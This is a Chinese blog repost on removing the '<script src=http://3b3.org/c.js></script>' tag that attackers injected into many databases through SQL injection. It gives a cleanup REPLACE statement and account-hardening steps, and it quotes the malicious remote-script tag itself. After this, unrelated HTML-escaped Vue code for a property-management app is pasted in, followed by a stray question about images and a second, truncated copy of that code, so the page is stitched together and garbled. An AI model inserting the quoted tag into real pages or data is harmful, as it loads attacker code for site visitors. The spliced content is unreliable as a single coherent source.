解决“<script src=http://3b3.org/c.js> </script>”SQL注入方法

针对近期流行的<scriptsrc=http://3b3.org/c.js></script>SQL注入攻击,本文提供了详细的防御措施。包括清除已注入的恶意代码、更改数据库账户密码及采用更安全的数据库访问策略等。

前两天听一同学讲他们公司做的一个系统被人家 SQL 注入了, 使得数据库中很多数据全部都乱了,导致系统几近瘫痪, 于是在网上疯狂的搜索解决方案,皇天不负苦心人,最终终于在http://www.21004.com/post/77.html找到了解决方案,全文如下:

近段时间很多站长反映" <script src=http://3b3.org/c.js> </script> " SQL注入非常猖獗,很多站都被注入这个代码,到目前为止被这个恶意代码威胁的网页至少有203,000页面,其中不少还是行业内知名网站。很多站长对这个注入的方式认识非常少,一旦被注入以后总是治标不治本。笔者结合一些网友经验和做安全朋友解决方法,归纳总结出一个可行性方法,大概步骤如下:

一、进入SQL统一删除字段被挂的js 。

操作方式如下:dbo.数据表 SET 字段= REPLACE(字段, '<script src=http://3b3.org/c.js></script>', '')

二、修改SQL服务中自定义用户和sa的密码。

一般情况下,SQL数据库被入侵成功的情况下,自定义帐户和SA的密码已经暴露,修改这些帐户密码为第三步做准备。

三、彻底杜绝SQL注入。

1.不要使用sa用户连接数据库。
SA帐户拥有所有数据库和数据表的操作权限,在网页中使用SA连接数据库安全隐患非常大。
2、新建一个public权限数据库用户,并用这个用户访问数据库。
为了增加安全系数,建议每个数据库建立独立的只有public权限管理帐户,并用这个用户访问数据库有利于SQL的安全性。
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
第3、4步大家不需要考究其中的原理,大家只需要照做就行了。

&lt;!-- * @Description: 海淀智慧物业app- --> &lt;template> &lt;div class="economicdevelopment-page overflow_div page-background scoll_box dashboard-page"> &lt;titlepage v-if="pathStr !== &#39;/&#39;" :title="pathName" :query="query">&lt;/titlepage> &lt;!-- &lt;div class="top_box" @click.stop="checkboxGroupShowFn">--> &lt;!-- &lt;div class="right_icon">--> &lt;!-- &lt;van-icon name="arrow-down" v-if="!checkboxGroupShow" />--> &lt;!-- &lt;van-icon name="arrow-up" v-if="checkboxGroupShow" />--> &lt;!-- &lt;/div>--> &lt;!-- 下拉多选查询 --> &lt;!-- &lt;p v-for="(item,i) of checkboxGroup" :key="i" @click.stop="deleteCheckbox(item)">--> &lt;!-- &lt;span>{{ item.name }}&lt;/span>--> &lt;!-- &lt;van-icon name="close" style="transform: scale(1.2);" />--> &lt;!-- &lt;/p>--> &lt;!-- &lt;div v-if="checkboxGroup.length===0" class="placeholder">请选择小区&lt;/div>--> &lt;!-- &lt;/div>--> &lt;!-- 0805 增加查询项--> &lt;div class="userLoginSearch"> &lt;a-row :gutter="10"> &lt;a-col :span="12"> &lt;a-select show-search v-model="pane.szjz" :filterOption="filterOption" style="width: 100%" @change="handleStreetChange" placeholder="街镇" > &lt;a-select-option :value="item.id" v-for="(item, i) in streetColumns" :key="i" :lable="item.departName"> {{ item.departName }} &lt;/a-select-option> &lt;/a-select> &lt;/a-col> &lt;a-col :span="12"> &lt;a-select show-search v-model="pane.sqmc" :filterOption="filterOption" style="width: 100%" @change="handleSQChange" placeholder="社区" > &lt;a-select-option :value="item.id" v-for="(item, i) in townColumns" :key="i" :lable="item.departName"> {{ item.departName }} &lt;/a-select-option> &lt;/a-select> &lt;/a-col> &lt;/a-row> &lt;a-row :gutter="10"> &lt;a-col :span="12"> &lt;a-input v-model="pane.xmmc" placeholder="项目名称" @input="handleXmmcInput"> &lt;a-icon slot="suffix" type="search" style="color: #3b77b3" /> &lt;/a-input> &lt;/a-col> &lt;a-col :span="12" style="margin-top: 15px"> &lt;div class="checkboxContainer"> &lt;span>专业化物业&lt;/span> &lt;a-checkbox v-model="sfwzyhwyValue" @change="changeZyhwy" /> &lt;/div> &lt;/a-col> &lt;/a-row> &lt;!-- 新增搜索与重置按钮 --> &lt;div class="search-reset-btns"> &lt;van-button type="default" color="#3B77B3" block @click="reLoadData">搜索&lt;van-icon style="margin-left: 10px;" name="search" />&lt;/van-button> &lt;van-button type="default" block @click="handleReset" style="background: #f1f3f3; border-radius: 14px; border: 2px solid #3b77b380; color: #3b77b3;">重置&lt;van-icon style="margin-left: 10px;" name="replay" />&lt;/van-button> &lt;/div> &lt;/div> &lt;div class="tabBox"> &lt;!-- &lt;van-tabs v-model:active="activeName" color="#1989fa" @change="changeTab">--> &lt;!-- &lt;van-tab title="所有项目" name="0">--> &lt;a-spin :spinning="spinning"> &lt;div class="itemBox" v-for="(item, i) in listData" :key="i" @click="showDetail(item.id)"> &lt;div class="contentBox"> &lt;template> &lt;div class="economicdevelopment-page overflow_div page-background scoll_box dashboard-page" style="width: 64px; height: 64px" > &lt;!-- 其他页面内容 --> &lt;div class="contentBox"> &lt;!-- 左侧视频封面图,点击播放 --> &lt;div @click.stop="openImage(item)" class="videoThumbnail"> &lt;img v-if="item.sqImg" :src="item.sqImg.split(&#39;,&#39;)[0]" alt="" style="background-color: white" /> &lt;img v-else src="@/assets/img/suolueErrorImg.png" alt="" style="background-color: white" /> &lt;!-- &lt;van-image :src="item.sqVideo" width="50px" height="50px" style="border-radius: 5px" > &lt;template v-slot:loading> &lt;van-loading type="spinner" size="20" /> &lt;/template> &lt;template v-slot:error >加载失败&lt;/template> &lt;/van-image> --> &lt;/div> &lt;!-- 项目信息 --> &lt;div class="msgBox"> &lt;p>{{ item.xmmc ? item.xmmc : &#39;&#39; }}&lt;/p> &lt;p>物业服务企业:{{ item.wyfwqy ? item.wyfwqy : &#39;暂无企业&#39; }}&lt;/p> &lt;p>更新时间: {{ item.updateTime ? item.updateTime : &#39;暂无更新时间&#39; }}&lt;/p> &lt;/div> &lt;/div> &lt;!-- 其他页面内容 --> &lt;/div> &lt;/template> &lt;!-- &lt;div class="imgBox"> &lt;template v-if="item.imgUrl"> &lt;van-image :src="item.imgUrl" width="50px" height="50px" style="border-radius: 5px;"> &lt;template v-slot:loading> &lt;van-loading type="spinner" size="20" /> &lt;/template> &lt;template v-slot:error>加载失败&lt;/template> &lt;/van-image> &lt;/template> &lt;template v-else> &lt;div style=" width: 50px; height: 50px; display: flex; align-items: center; justify-content: center; background: #f0f0f0; color: #999; font-size: 12px; " > 暂无图片 &lt;/div> &lt;/template> &lt;/div> --> &lt;div class="msgBox"> &lt;p>{{ item.xmmc ? item.xmmc : &#39;&#39; }}&lt;/p> &lt;p>物业服务企业:{{ item.wyfwqy ? item.wyfwqy : &#39;暂无企业&#39; }}&lt;/p> &lt;p> 更新时间: {{ item.updateTime ? item.updateTime : &#39;暂无更新时间&#39; }} &lt;/p> &lt;/div> &lt;!-- &lt;van-icon class="iconBox" name="edit" /> --> &lt;/div> &lt;div class="typeBox" v-if="item.fwxz && item.fwxz.length > 0" :class="[ item.fwxz == 1 || item.fwxz == 2 || item.fwxz == 3 || item.fwxz == 4 || item.fwxz == 5 ? &#39;personalType&#39; : &#39;publicType&#39; ]" > &lt;span v-for="(item1, i1) in item.fwxz" :key="i1"> &lt;span v-if="item1 == 1">  商品住宅   &lt;/span> &lt;span v-if="item1 == 2">  商住两用   &lt;/span> &lt;span v-if="item1 == 3">  共有产权   &lt;/span> &lt;span v-if="item1 == 4">  保障性住房(经适房、公租房等) )  &lt;/span> &lt;span v-if="item1 == 5">  直管公房   &lt;/span> &lt;span v-if="item1 == 6">  军产房   &lt;/span> &lt;span v-if="item1 == 7">  三供一业   &lt;/span> &lt;span v-if="item1 == 8">  非经资产移交   &lt;/span> &lt;span v-if="item1 == 9">  房改售房   &lt;/span> &lt;span v-if="item1 == 10">  回迁安置房   &lt;/span> &lt;span v-if="item1 == -99">  其他   &lt;/span> &lt;/span> &lt;/div> &lt;!-- &lt;div v-else>&lt;/div> --> &lt;/div> &lt;a-button class="moreBtn" @click="getprojectListMsg" :disabled="moreDisabled"> {{ moreText }} &lt;van-icon name="arrow-down" /> &lt;/a-button> &lt;!-- 增加一个空div 顶高度--> &lt;div style="height: 100px; width: 100%">&lt;/div> &lt;/a-spin> &lt;!-- &lt;/van-tab>--> &lt;!-- &lt;van-tab title="小区列表" name="1">--> &lt;!-- &lt;div style="font-size: 14px">--> &lt;!-- &lt;div class="itemBox" v-for="(item, i) in tab2ListData" :key="i" @click="showDetail(item.id)">--> &lt;!-- &lt;div class="contentBox">--> &lt;!-- &lt;div class="imgBox">--> &lt;!-- &lt;!– &lt;van-image src="" width="50px" height="50px">--> &lt;!-- &lt;template v-slot:loading>--> &lt;!-- &lt;van-loading type="spinner" size="20" />--> &lt;!-- &lt;/template>--> &lt;!-- &lt;/van-image> –>--> &lt;!-- &lt;template v-if="item.imgUrl">--> &lt;!-- &lt;van-image :src="item.imgUrl" width="50px" height="50px">--> &lt;!-- &lt;template v-slot:loading>--> &lt;!-- &lt;van-loading type="spinner" size="20" />--> &lt;!-- &lt;/template>--> &lt;!-- &lt;template v-slot:error>加载失败&lt;/template>--> &lt;!-- &lt;/van-image>--> &lt;!-- &lt;/template>--> &lt;!-- &lt;template v-else>--> &lt;!-- &lt;div--> &lt;!-- style="--> &lt;!-- margin-top: 20px;--> &lt;!-- width: 50px;--> &lt;!-- height: 50px;--> &lt;!-- display: flex;--> &lt;!-- align-items: center;--> &lt;!-- justify-content: center;--> &lt;!-- background: #f0f0f0;--> &lt;!-- color: #999;--> &lt;!-- font-size: 12px;--> &lt;!-- "--> &lt;!-- >--> &lt;!-- 暂无图片--> &lt;!-- &lt;/div>--> &lt;!-- &lt;/template>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;div class="msgBox">--> &lt;!-- &lt;p>{{ item.xmmc ? item.xmmc : &#39;&#39; }}&lt;/p>--> &lt;!-- &lt;p>物业服务企业:{{ item.wyfwqy ? item.wyfwqy : &#39;暂无企业&#39; }}&lt;/p>--> &lt;!-- &lt;p>--> &lt;!-- 更新时间:--> &lt;!-- {{ item.updateTime ? item.updateTime : &#39;暂无更新时间&#39; }}--> &lt;!-- &lt;/p>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;!– &lt;van-icon class="iconBox" name="edit" /> –>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;div--> &lt;!-- class="typeBox"--> &lt;!-- v-if="item.fwxz"--> &lt;!-- :class="[--> &lt;!-- item.fwxz == 1 || item.fwxz == 2 || item.fwxz == 3 || item.fwxz == 4 || item.fwxz == 5--> &lt;!-- ? &#39;personalType&#39;--> &lt;!-- : &#39;publicType&#39;--> &lt;!-- ]"--> &lt;!-- >--> &lt;!-- &lt;span v-for="(item1, i1) in item.fwxz" :key="i1">--> &lt;!-- &lt;span v-if="item1 == 1">  商品住宅   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 2">  商住两用   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 3">  共有产权   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 4">  保障性住房(经适房、公租房等) )  &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 5">  直管公房   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 6">  军产房   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 7">  三供一业   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 8">  非经资产移交   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 9">  房改售房   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == 10">  回迁安置房   &lt;/span>--> &lt;!-- &lt;span v-if="item1 == -99">  其他   &lt;/span>--> &lt;!-- &lt;/span>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;div v-else>&lt;/div>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;a-button class="moreBtn" @click="getTab2List" :disabled="moreDisabled">--> &lt;!-- {{ moreText }}--> &lt;!-- &lt;van-icon name="arrow-down" />--> &lt;!-- &lt;/a-button>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;/van-tab>--> &lt;!-- &lt;/van-tabs>--> &lt;/div> &lt;!-- 视频弹窗 --> &lt;!-- &lt;van-popup v-model:show="showVideoPopup" position="center" :style="{ width: &#39;90%&#39;, maxHeight: &#39;80%&#39;,backGround:&#39;transparent&#39; }" :closeable="true" @close.stop="closeVideo" > &lt;div class="video-popup-content"> &lt;video :src="currentVideoUrl" controls autoplay style="width: 100%; height: 100%; border-radius: 10px">&lt;/video> &lt;/div> &lt;/van-popup> --> &lt;van-popup v-model:show="showImagePopup" position="center" :style="{ width: &#39;90%&#39;, height: &#39;80%&#39; }" :closeable="true" @close="closeImage" > &lt;div class="image-popup-content"> &lt;img :src="currentImageUrls[currentIndex]" alt="查看大图" style="width: 100%; height: auto;" /> &lt;div class="nav-buttons"> &lt;van-button v-if="currentIndex > 0" @click="prevImage">上一张&lt;/van-button> &lt;van-button v-if="currentIndex &lt; currentImageUrls.length - 1" @click="nextImage">下一张&lt;/van-button> &lt;/div> &lt;/div> &lt;/van-popup> &lt;!-- &lt;div class="container">--> &lt;!-- &lt;div v-for="(item,i) of notifyList" class="project_list_item">--> &lt;!-- &lt;/div>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;div class="fixedBox"> 专题 &lt;br />图层 &lt;/div> --> &lt;!-- 顶部小区查询项弹框 --> &lt;!-- &lt;van-popup--> &lt;!-- v-model="checkboxGroupShow"--> &lt;!-- position="bottom"--> &lt;!-- :style="{ height: &#39;50%&#39;,zIndex:9999 }">--> &lt;!-- &lt;div class="my_checkbox_popup">--> &lt;!-- &lt;p class="cancel" @click="cancel(true)">取消&lt;/p>--> &lt;!-- &lt;p class="confirm" @click="comfirm">确认&lt;/p>--> &lt;!-- &lt;/div>--> &lt;!-- &lt;van-checkbox-group v-model="checkboxGroupIds">--> &lt;!-- &lt;van-cell-group>--> &lt;!-- &lt;van-cell--> &lt;!-- class="my_checkbox_popup_cell"--> &lt;!-- v-for="(items, index) in dataOption"--> &lt;!-- clickable--> &lt;!-- :key="index"--> &lt;!-- :title="items.name"--> &lt;!-- @click="onSelect(items,index)">--> &lt;!-- &lt;template #right-icon>--> &lt;!-- &lt;van-checkbox :name="items.id" ref="CoverableCities" class="my_checkbox_popup_item" />--> &lt;!-- &lt;/template>--> &lt;!-- &lt;/van-cell>--> &lt;!-- &lt;/van-cell-group>--> &lt;!-- &lt;/van-checkbox-group>--> &lt;!-- &lt;/van-popup>--> &lt;/div> &lt;/template> &lt;script&gt; import rolemixins from &#39;@/utils/rolemixins&#39;; import { managerListMsg, xioaquList, xioaquVideoList } from &#39;@/api/comm&#39;; import { getSendRangeData } from &#39;@/api/home&#39;; import { getSqmcData } from &#39;@/api/userState&#39;; export default { name: &#39;projectList&#39;, components: {}, mixins: [rolemixins], data() { return { showVideoPopup: false, currentVideoUrl: null, showImagePopup: false, currentImageUrls: [], currentIndex: 0, listData: [], // 假设 listData 会从接口获取 // currentVideoUrl: &#39;https://www.w3schools.com/html/mov_bbb.mp4&#39;, // 一个测试视频地址 // listData: [ // { // id: 1, // xmmc: &#39;项目A&#39;, // imgUrl: &#39;https://via.placeholder.com/50x50?text=Video+1&#39;, // hasVideo: true // 假设这个项目有视频 // }, // { // id: 2, // xmmc: &#39;项目B&#39;, // imgUrl: &#39;&#39;, // hasVideo: false // 假设这个项目没有视频 // }, // { // id: 3, // xmmc: &#39;项目C&#39;, // imgUrl: &#39;https://via.placeholder.com/50x50?text=Video+2&#39;, // hasVideo: true // } // ], tab2ListData: [], activeName: &#39;tab1&#39;, pathStr: this.$route.path, pathName: this.$route.meta.title ? this.$route.meta.title : &#39;&#39;, query: {}, //分页 pane: { pageNo: 1, total: 0, pageSize: 10, xmmc: &#39;&#39;, // 项目名称 szjz: undefined, // 街镇 sqmc: undefined, // 社区 sfwzyhwy: 1 // 新增字段,1 表示专业化物业选中 }, sfwzyhwyValue: true, moreDisabled: false, moreText: &#39;加载更多&#39;, streetColumns: [], townColumns: [], spinning: false, timer: null, }; }, created() {}, activated() {}, beforeDestroy() { if (this.timer) { clearTimeout(this.timer); } }, mounted() { // this.initCheckboxGroup(); // this.getData(); this.getprojectListMsg(); // 获取项目列表 this.getStreetData(); // 假装调用接口成功,使用假数据填充 listData // this.listData = [ // { // id: 1, // xmmc: &#39;项目A&#39;, // imgUrl: &#39;https://via.placeholder.com/50x50?text=Video+1&#39;, // hasVideo: true // }, // { // id: 2, // xmmc: &#39;项目B&#39;, // imgUrl: &#39;&#39;, // hasVideo: false // }, // { // id: 3, // xmmc: &#39;项目C&#39;, // imgUrl: &#39;https://via.placeholder.com/50x50?text=Video+2&#39;, // hasVideo: true // } // ]; }, methods: { // 获取单个项目的视频地址 async fetchVideoUrl(item) { try { const res = await xioaquVideoList({ id: item.id }); console.error(&#39;1111111==============>&#39;, { id: &#39;1839890114125811716&#39; }); // const res = await managerListMsg({ id: &#39;1839890114125811716&#39; }); console.log(&#39;接口返回:&#39;, res); // 打印调试 const data = res.data || {}; if (data.sqVideo && data.sqVideo.trim()) { item.videoUrl = data.sqVideo; } else { this.$toast(&#39;该条目无视频&#39;); } } catch (error) { console.error(&#39;获取视频失败:&#39;, error); item.videoUrl = null; this.$toast(&#39;获取视频失败&#39;); } }, // openVideo(item) { // if (item.sqVideo) { // this.currentVideoUrl = item.sqVideo; // this.showVideoPopup = true; // } else { // this.$toast(&#39;暂无视频&#39;); // } // }, openImage(item) { if (item.sqImg) { this.currentImageUrls = item.sqImg.split(&#39;,&#39;).map(url => url.trim()).filter(url => url); this.currentIndex = 0; this.showImagePopup = true; } else { this.$toast(&#39;暂无图片&#39;); } }, closeImage() { this.showImagePopup = false; this.currentImageUrls = []; this.currentIndex = 0; }, prevImage() { if (this.currentIndex > 0) { this.currentIndex--; } }, nextImage() { if (this.currentIndex &lt; this.currentImageUrls.length - 1) { this.currentIndex++; } }, closeVideo() { this.currentVideoUrl = null; }, // 切换tab changeTab(tab) { this.activeName = tab; // this.getTab2List(); console.log(&#39;ffffff&#39;, tab); this.pane.pageNo = 1; this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; this.pane.total = 0; this.listData = []; this.tab2ListData = []; if (tab == &#39;0&#39;) { this.getprojectListMsg(); } else { this.getTab2List(); } }, // 获取数据列表接口 getData() { let params = { id: 1 }; }, // 获取所有项目 async getprojectListMsg() { this.spinning = true; const res = await managerListMsg(this.pane); if (res.success) { this.pane.total = res.result.total; this.listData = [...this.listData, ...res.result.records]; this.listData.forEach((item) => { if (item.fwxz && !Array.isArray(item.fwxz)) { item.fwxz = item.fwxz.split(&#39;,&#39;); } else { item.fwxz = item.fwxz || []; } }); this.$forceUpdate(); if (this.listData.length >= this.pane.total) { this.moreDisabled = true; this.moreText = &#39;没有更多了&#39;; } else { this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; } this.pane.pageNo += 1; } this.spinning = false; }, // 获取小区列表 getTab2List() { xioaquList(this.pane).then((res) => { this.pane.total = res.result.total; this.pane.pageNo = this.pane.pageNo + 1; if (res.code == 200) { if (res.result.records.length &lt; this.pane.pageSize) { this.moreDisabled = true; this.moreText = &#39;没有更多了&#39;; this.tab2ListData = [...this.tab2ListData, ...res.result.records]; this.$forceUpdate(); } else { this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; this.tab2ListData = [...this.tab2ListData, ...res.result.records]; this.$forceUpdate(); } } }); }, // 跳转项目信息详情 filterOption(inputValue, option) { return option.data.attrs.lable ? option.data.attrs.lable.includes(inputValue) : null; }, handleXmmcInput(value) { // 延迟请求,避免频繁输入导致频繁搜索 if (this.searchTimer) { clearTimeout(this.searchTimer); } this.searchTimer = setTimeout(() => { this.pane.pageNo = 1; this.listData = []; this.getprojectListMsg(); // 重新加载数据 }, 500); }, // 获取街镇数据以及社区数据 getStreetData() { getSendRangeData().then((res) => { this.streetColumns = res.result; }); }, // 获取社区数据 getTownData(val) { getSqmcData({ id: val }).then((res) => { this.townColumns = res.result; }); }, handleTownConfirm(val) { this.sqmcName = val.departName; this.pane.sqmc = val.id; this.townPicker = false; }, handleSearch() { console.log(this.pane); this.pane.pageNo = 1; this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; this.listData = []; this.getprojectListMsg(); }, handleReset() { this.pane = { xmmc: &#39;&#39;, szjz: undefined, sqmc: undefined, pageNo: 1, pageSize: 10, total: 0 }; this.moreDisabled = false; this.townColumns = []; this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; this.listData = []; this.$nextTick(() => { this.$forceUpdate; }); this.getprojectListMsg(); }, showDetail(id) { this.$router.push({ path: &#39;/listDetail&#39;, query: { id: id } }); }, changeZyhwy(e) { this.pane.sfwzyhwy = this.sfwzyhwyValue ? 1 : 0; this.reLoadData(); }, handleStreetChange(val) { // 清空社区 this.pane.sqmc = undefined; this.getTownData(val); // this.reLoadData(); }, handleSQChange(val) { this.pane.sqmc = val; // this.reLoadData(); }, reLoadData() { this.pane.pageNo = 1; this.moreDisabled = false; this.moreText = &#39;加载更多&#39;; this.listData = []; this.getprojectListMsg(); } // changeXmmc(e) { // if (this.timer) { // clearTimeout(this.timer); // } // this.timer = setTimeout(() => { // this.moreDisabled = false; // this.moreText = &#39;加载更多&#39;; // this.listData = []; // // this.getprojectListMsg(); // }, 1000); // } // checkboxGroupShowFn() { // this.checkboxGroupShow = true; // } // initCheckboxGroup() { // this.checkboxGroupIds = []; // this.checkboxGroup = []; // }, // onSelect(items, index) { // this.$refs.CoverableCities[index].toggle(); // }, // comfirm() { // let text = []; // this.dataOption.map((its, i) => { // if (this.checkboxGroupIds.indexOf(its.id) !== -1) { // text.push(its); // } // }); // this.checkboxGroup = text; // this.$forceUpdate(); // this.cancel(false); // }, // cancel(flag) { // this.$forceUpdate(); // this.checkboxGroupShow = false; // if (flag) { // this.initCheckboxGroup(); // } // }, // deleteCheckbox(item) { // this.checkboxGroup.map((its, index) => { // if (item.id === its.id) { // this.checkboxGroup.splice(index, 1); // } // }); // this.checkboxGroupIds = this.checkboxGroup.map(its => { // return its.id; // }); // console.log(this.checkboxGroup, this.checkboxGroupIds, &#39;----deleteCheckbox&#39;); // } } }; &lt;/script&gt; &lt;style scoped lang="less"> @import &#39;~@/assets/css/comm.less&#39;; ::v-deep .van-popup{ background-color: transparent !important; } .videoError { width: 50px; height: 50px; } .economicdevelopment-page { height: 100%; .fixedBox { width: 80px; height: 80px; border-radius: 50%; box-shadow: 5px 5px 5px #ccc, -5px -5px 5px #ccc, 5px -5px 5px #ccc, -5px 5px 5px #ccc; position: absolute; bottom: 20px; right: 20px; background: #fff; font-size: 14px; text-align: center; display: flex; align-items: center; justify-content: center; } .top_box { width: auto; height: 40px; background: #fff; border: 1px solid #3b77b3; position: relative; display: flex; align-items: center; padding: 0 5px; margin: 0 10px; .right_icon { position: absolute; top: 5px; right: 10px; } p { padding: 5px 10px 20px 10px; height: 24px; background: rgba(59, 119, 179, 0.15); border-radius: 12px; border: 1px solid rgba(59, 119, 179, 0.5); color: #3b77b3; font-size: 12px; font-weight: 500; font-family: PingFangSC, PingFang SC; margin: 0 2px; span { display: inline-block; margin-right: 10px; } } div.placeholder { width: 100%; color: #d4d3d3; font-size: 16px; font-weight: normal; text-align: center; } } /deep/ .van-tabs__content { overflow-y: scroll; } .tabBox { width: auto; margin: 0 10px; margin-top: 5px; height: 65vh; overflow: hidden; overflow-y: scroll; .itemBox { width: 100%; //height: 80px; position: relative; font-size: 12px; padding: 20px 0px 15px 0px; background: #fff; margin-bottom: 10px; display: flex; align-items: flex-end; margin-top: 5px; .contentBox { display: flex; justify-content: space-around; text-align: center; width: 100%; .video-popup-content { // padding: 10px; background: #000; } .iconBox { font-size: 26px; width: auto; height: 30px; line-height: 60px; } .msgBox { text-align: left; width: 200px; } .imgBox { width: 50px; height: 50px; display: flex; align-items: center; justify-content: center; } } .typeBox { border-top-right-radius: 15px; border-bottom-left-radius: 15px; position: absolute; height: 20px; line-height: 20px; top: 0; right: 10px; text-align: center; padding: 0 5px; max-width: 50%; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .personalType { background: #e99d42; } .publicType { background: #a2ef4d; } } } //.container { // height: 100% !important; // padding: 0 12.5px; // //} } .my_checkbox_popup { width: 100%; height: 45px; line-height: 45px; margin-bottom: 5px; display: flex; justify-content: space-between; align-items: center; p { height: 100%; padding: 0 0.42667rem; font-size: 0.37333rem; background-color: transparent; border: none; cursor: pointer; } p.cancel { color: #969799; } p.confirm { color: #576b95; } } .my_checkbox_popup_cell { /deep/ .van-cell__title { padding: 8px 10px; } } .my_checkbox_popup_item { padding: 10px 15px; } .moreBtn { text-align: center; color: #1989fa; border: none; width: 100%; background: #f1f3f3; } .userLoginSearch { // background-color: #fff; border-radius: 10px; padding: 10px; margin: 10px 0; .checkboxContainer { background-color: #f1f3f3; width: 100%; border-radius: 10px; border: 1px solid #3b77b3; font-size: 14px; padding: 0 8px; height: 32px; line-height: 32px; display: flex; align-items: center; justify-content: space-between; color: #3b77b3; } } .search-reset-btns { width: 100%; margin-top: 15px; justify-content: space-between; // background-color: #3c78b1; display: flex; gap: 10px; .van-button { border-radius: 14px; height: 36.69px; // background-color: transparent; flex: 1; font-size: 14px; color: #f1f3f3; img{ width: 20px; height: 20px; margin-left: 11px; } } } ::v-deep .ant-select-selection { border-color: #3b77b3; border-radius: 10px; color: #3b77b3; .ant-select-selection__placeholder { color: #3b77b3; } } ::v-deep .ant-input { border-color: #3b77b3; border-radius: 10px; padding-left: 8px; color: #3b77b3; &::placeholder { color: #3b77b3; } } &lt;/style> 为啥前面的图片有是img图片,出现了一个p标签,里面有字体内容
08-21
&lt;!-- * @Description: 海淀智慧物业app- --> &lt;template> &lt;div class="economicdevelopment-page overflow_div page-background scoll_box dashboard-page"> &lt;titlepage v-if="pathStr !== &#39;/&#39;" :title="pathName" :query="query">&lt;/titlepage> &lt;!-- &lt;div class="top_box" @click.stop="checkboxGroupShowFn">--> &lt;!-- &lt;div class="right_icon">--> &lt;!-- &lt;van-icon name="arrow-down" v-if="!checkboxGroupShow" />--> &lt;!-- &lt;van-icon name="arrow-up" v-if="checkboxGroupShow" />--> &lt;!-- &lt;/div>--> &lt;!-- 下拉多选查询 --> &lt;!-- &lt;p v-for="(item,i) of checkboxGroup" :key="i" @click.stop="deleteCheckbox(item)">--> &lt;!-- &lt;span>{{ item.name }}&lt;/span>--> &lt;!-- &lt;van-icon name="close" style="transform: scale(1.2);" />--> &lt;!-- &lt;/p>--> &lt;!-- &lt;div v-if="checkboxGroup.length===0" class="placeholder">请选择小区&lt;/div>--> &lt;!-- &lt;/div>--> &lt;!-- 0805 增加查询项--> &lt;div class="userLoginSearch"> &lt;a-row :gutter="10"> &lt;a-col :span="12"> &lt;a-select show-search v-model="pane.szjz" :filterOption="filterOption" style="width: 100%" @change="handleStreetChange" placeholder="街镇"> &lt;a-select-option :value="item.id" v-for="(item, i) in streetColumns" :key="i" :lable="item.departName"> {{ item.departName }} &lt;/a-select-option> &lt;/a-select> &lt;/a-col> &lt;a-col :span="12"> &lt;a-select show-search v-model="pane.sqmc" :filterOption="filterOption" style="width: 100%" @change="handleSQChange" placeholder="社区"> &lt;a-select-option :value="item.id" v-for="(item, i) in townColumns" :key="i" :lable="item.departName"> {{ item.departName }} &lt;/a-select-option> &lt;/a-select> &lt;/a-col> &lt;/a-row> &lt;a-row :gutter="10" style="margin-top: 10px;"> &lt;a-col :span="12"> &lt;a-input v-model="pane.xmmc" placeholder="项目名称"> &lt;a-icon slot="suffix" type="search" style="color:#3b77b3;" /> &lt;/a-input> &lt;/a-col> &lt;a-col :span="12" style="margin-top: 2px;"> &lt;div class="checkboxContainer"> &lt;span>专业化物业&lt;/span> &lt;a-checkbox v-model="sfwzyhwyValue" @change="changeZyhwy" /> &lt;/div> &lt;/a-col> &lt;/a-row> &lt;!-- 新增搜索与重置按钮 --> &lt;div class="search-reset-btns" style="margin-top: 15px; display: flex; justify-content: space-between;"> &lt;van-button type="info" block @click="reLoadData">搜索&lt;/van-button> &lt;van-button type="default" block @click="handleReset">重置&lt;/van-button> &lt;/div> &lt;/div> &lt;div class="tabBox"> &lt;!-- &lt;van-tabs v-model:active="activeName" color="#1989fa" @change="changeTab">--> &lt;!-- &lt;van-tab title="所有项目" name="0">--> &lt;a-spin :spinning="spinning"> &lt;div class="itemBox" v-for="(item, i) in listData" :key="i" @click="showDetail(item.id)"> &lt;div class="contentBox"> &lt;div class="imgBox"> &lt;template v-if="item.imgUrl"> &lt;van-image :src="item.imgUrl" width="50px" height="50px" style="border-radius: 5px;"> &lt;template v-slot:loading> &lt;van-loading type="spinner" size="20" /> &lt;/template> &lt;template v-slot:error>加载失败&lt;/template> &lt;/van-image> &lt;/template> &lt;template v-else> &lt;div style=" width: 50px; height: 50px; display: flex; align-items: center; justify-content: center; background: #f0f0f0; color: #999; font-size: 12px; " > 暂无图片 &lt;/div> &lt;/template> &lt;/div> &lt;div class="msgBox"> &lt;p>{{ item.xmmc ? item.xmmc : &#39;&#39; }}&lt;/p> &lt;p>物业服务企业:{{ item.wyfwqy ? item.wyfwqy : &#39;暂无企业&#39; }}&lt;/p> &lt;p> 更新时间: {{ item.updateTime ? item.updateTime : &#39;暂无更新时间&#39; }} &lt;/p> &lt;/div> &lt;!-- &lt;van-icon class="iconBox" name="edit" /> --> &lt;/div> &lt;div class="typeBox" v-if="item.fwxz && item.fwxz.length > 0" :class="[ item.fwxz == 1 || item.fwxz == 2 || item.fwxz == 3 || item.fwxz == 4 || item.fwxz == 5 ? &#39;personalType&#39; : &#39;publicType&#39; ]" > &lt;span v-for="(item1, i1) in item.fwxz" :key="i1"> &lt;span v-if="item1 == 1">  商品住宅   &lt;/span> &lt;span v-if="item1 == 2">  商住两用   &lt;/span> &lt;span v-if="item1 == 3">  共有产权   &lt;/span> &lt;span v-if="item1 == 4">  保障性住房(经适房、公租房等) )  &lt;/span> 